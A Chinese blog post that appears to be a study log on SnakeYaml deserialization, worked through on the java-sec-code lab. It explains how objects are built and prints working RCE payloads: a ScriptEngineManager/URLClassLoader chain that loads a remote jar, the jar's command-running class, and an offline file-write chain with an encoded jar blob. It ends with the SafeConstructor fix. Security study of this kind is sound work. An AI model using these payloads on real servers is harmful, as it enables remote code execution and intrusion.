SnakeYaml反序列化

发布时间 2023-07-06 16:27:16作者: 卡拉梅尔

SnakeYaml反序列化

https://github.com/JoyChou93/java-sec-code

java有关的一个本地靶场,看了下shiro、fastjson、sql注入啥的都有,就当练练代码审计吧。在windows上起环境按这个来就好,jdk版本不能太高,我用的11

先看到了snakeyaml,稍微学学。但问了几个搞开发的同学都从没用过这玩意,让我不禁质疑相关漏洞的实用性,毕竟正经人不会用yaml传数据,与其他漏洞结合有什么奇技淫巧也说不定

SnakeYaml全版本(官方认为解析的数据就应该是可信的所以不认这个洞)

一、SnakeYaml简单理解

SnakeYaml是java处理yaml的库,支持序列化和反序列化。yaml优点在于可读性好,虽然感觉使用率上完全不如json。说起yaml以前只接触过docker-compose.yaml,正好项目里还有个。yaml大小写敏感,且缩进只能用空格不能用Tab

version : '3'
services:
    jsc:
        image: joychou/jsc:latest
        command: ["java", "-Xdebug", "-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=0.0.0.0:8000", "-jar", "jsc.jar"]
        ports:
            - "8080:8080"
            - "8000:8000"
        links:
            - j_mysql

    j_mysql:
        image: joychou/jsc_mysql:latest
        ports:
            - "3306:3306"

用的环境是在之前看fastjson的环境里又加了个SnakeYaml

SnakeYaml通过yaml.dump序列化,yaml.load反序列化。反序列化时从yaml字符串中解析一个对象,此时与fastjson很像,SnakeYaml通过!!指定饭序列化的类型,注意yaml字符串里{前有个空格

        Yaml yaml = new Yaml();
        String yamlStr = "!!org.example.Person {age: 18, name: Cara}";
        Person person1 = (Person) yaml.load(yamlStr);
        yaml.dump(person1);

但他这个类初始化的逻辑有一点坑,SnakeYaml首先会构造一个Person类,之后会优先使用反射来给属性赋值,只有当反射没成功时才会像fastjson一样找对应setter。就结果而言大概是这样的

    public int age;
    public String name;

1688525301388

    public int age;
    private String name;

1688525363253

    private int age;
    private String name;

1688525457960

setter不已属性命名时也可以通过setter给public属性赋值

    public String name;
	public void setInput(String name){
        this.name=name;
        System.out.println("setInput");
    }

1688525982079

通过[]可以指定使用构造函数进行赋值,此时无论属性私有与否都行,但在存在构造函数的情况下依然load("!!org.example.Person {name : Cara, age : 18 }")就会报错

    public int age;
    public String name;

    public Person(int age, String name) {
        this.age = age;
        this.name = name;
        System.out.println("constructor");
    }

1688527698024

简单找下原因,此时private name, public age。看到二者在constructJavaBean2ndStep调用了不同的set重载,

1688538627434

1688537980852

private name进入的是MethodProperty,public age进入的是FieldProperty,注释里说的和前面总结的一样。其实流程和fastjson差不多,甚至还简短点,而且大部分时候是通过[]利用构造函数。但我网上找的几篇这块写的都比较含糊,还有点小错

1688538282968

1688538368572

二、利用

2.1复现

回到java-sec-code,很直接的形式,项目给的是get方法,springboot2.0后内置的tomcat不允许url里存在[]等特殊字符,想了想即使真的有个实际环境需要上传yaml也应该是post才合理些。给出的攻击思路是ScriptEngineManager 链,从payload通过urlClassLoader远程加载恶意jar包

    /**
     * http://localhost:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://test.joychou.org:8086/yaml-payload.jar%22]]]]
     * yaml-payload.jar: https://github.com/artsploit/yaml-payload
     *
     * @param content payloads
     */
    @PostMapping("/vuln/yarm")
    public void yarm(@RequestParam("content") String content) {
        Yaml y = new Yaml();
        y.load(content);
    }
"!!javax.script.ScriptEngineManager [\n" +
    "  !!java.net.URLClassLoader [[\n" +
    "    !!java.net.URL [\"http://127.0.0.1:8848/yaml-payload.jar\"]\n" +
    "  ]]\n" +
    "]";

这里下载,AwesomeScriptEngineFactory类实现了ScriptEngineFactory接口,命令执行在构造函数里

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("calc");
//            Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

生成jar包,当然你打包用的jdk版本要和服务端一样

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

目录下起个服务post传入payload就能弹计算器了

1688607451061

2.2原理

在Construct$ConstructSequence#construct里依次实例化url、urlClassLoader、ScriptEngineManager,重点关注下jar包是怎么被利用的

1688626293225

这里用到了SPI(Service Provider Interface)机制,简而言之java会从META-INF/service中寻找需要动态加载的类

Java SPI机制允许开发者编写一组接口,并在运行时动态加载实现这些接口的类。这种机制可以让应用程序在不修改代码的情况下更换实现类,从而达到灵活配置的目的。

Java SPI机制的主要组成部分包括:
服务提供者接口(Service Provider Interface):一组接口,用于定义一组服务或功能的标准。
服务提供者实现(Service Provider Implementation):实现服务提供者接口的类,提供具体的服务或功能。
服务提供者注册文件(Service Provider Registration File):用于声明服务提供者实现的文件,通常存放在JAR包的META-INF/services目录下。

具体在ServiceClassLoader$LazyClassPathLookupIterator#nextProviderClass实现spi机制,获取到接下来准备加载的类AwesomeScriptEngineFact

1688625415654

1688614852132

ServiceClassLoader$ProviderImpl#get里实例化来自jar包的AwesomeScriptEngineFactory类,触发构造函数里的命令执行

1688614679577

三、不出网

参考这里,思路仿照fastjson.12.68写文件的链

{
    '@type':"java.lang.AutoCloseable",
    '@type':'sun.rmi.server.MarshalOutputStream',
    'out':
    {
        '@type':'java.util.zip.InflaterOutputStream',
        'out':
        {
           '@type':'java.io.FileOutputStream',
           'file':'dst',
           'append':false
        },
        'infl':
        {
            'input':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=='
        },
        'bufLen':1048576
    },
    'protocolVersion':1
}

用连接里的代码把yaml-payload.jar写入payload,然后file协议访问

String content = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\"E:/yaml-payload.txt\"],false],!!java.util.zip.Inflater  { input: !!binary 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 },1048576]]";

// String content = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"file:///E:/yaml-payload.txt\"]]]]";        
yaml.load(content);

四、写在后面

首先java-sec-code给出的修复方案也很简单,创建yaml时使用SafeConstructor就可以了

    @GetMapping("/sec/yarm")
    public void secYarm(String content) {
        Yaml y = new Yaml(new SafeConstructor());
        y.load(content);
    }

然后本着求知精神又找了找,看到一个比较偏实际环境的利用点,思路是修改服务端spring.cloud.bootstrap.location,将其中yaml配置文件指向vps上的恶意yaml,之后通过refresh接口让服务端重新加载yaml,加载时用到SnakeYaml触发上面一条链。但问题是只能在低版本spring(1.4和部分1.5)能成,感觉用处有限

参考

写的挺全,总结了好几条链子

https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml反序列化漏洞/#相关应用CVE

不出网的用法暂时没看懂,等深入fastjson后再看

https://xz.aliyun.com/t/10655#toc-4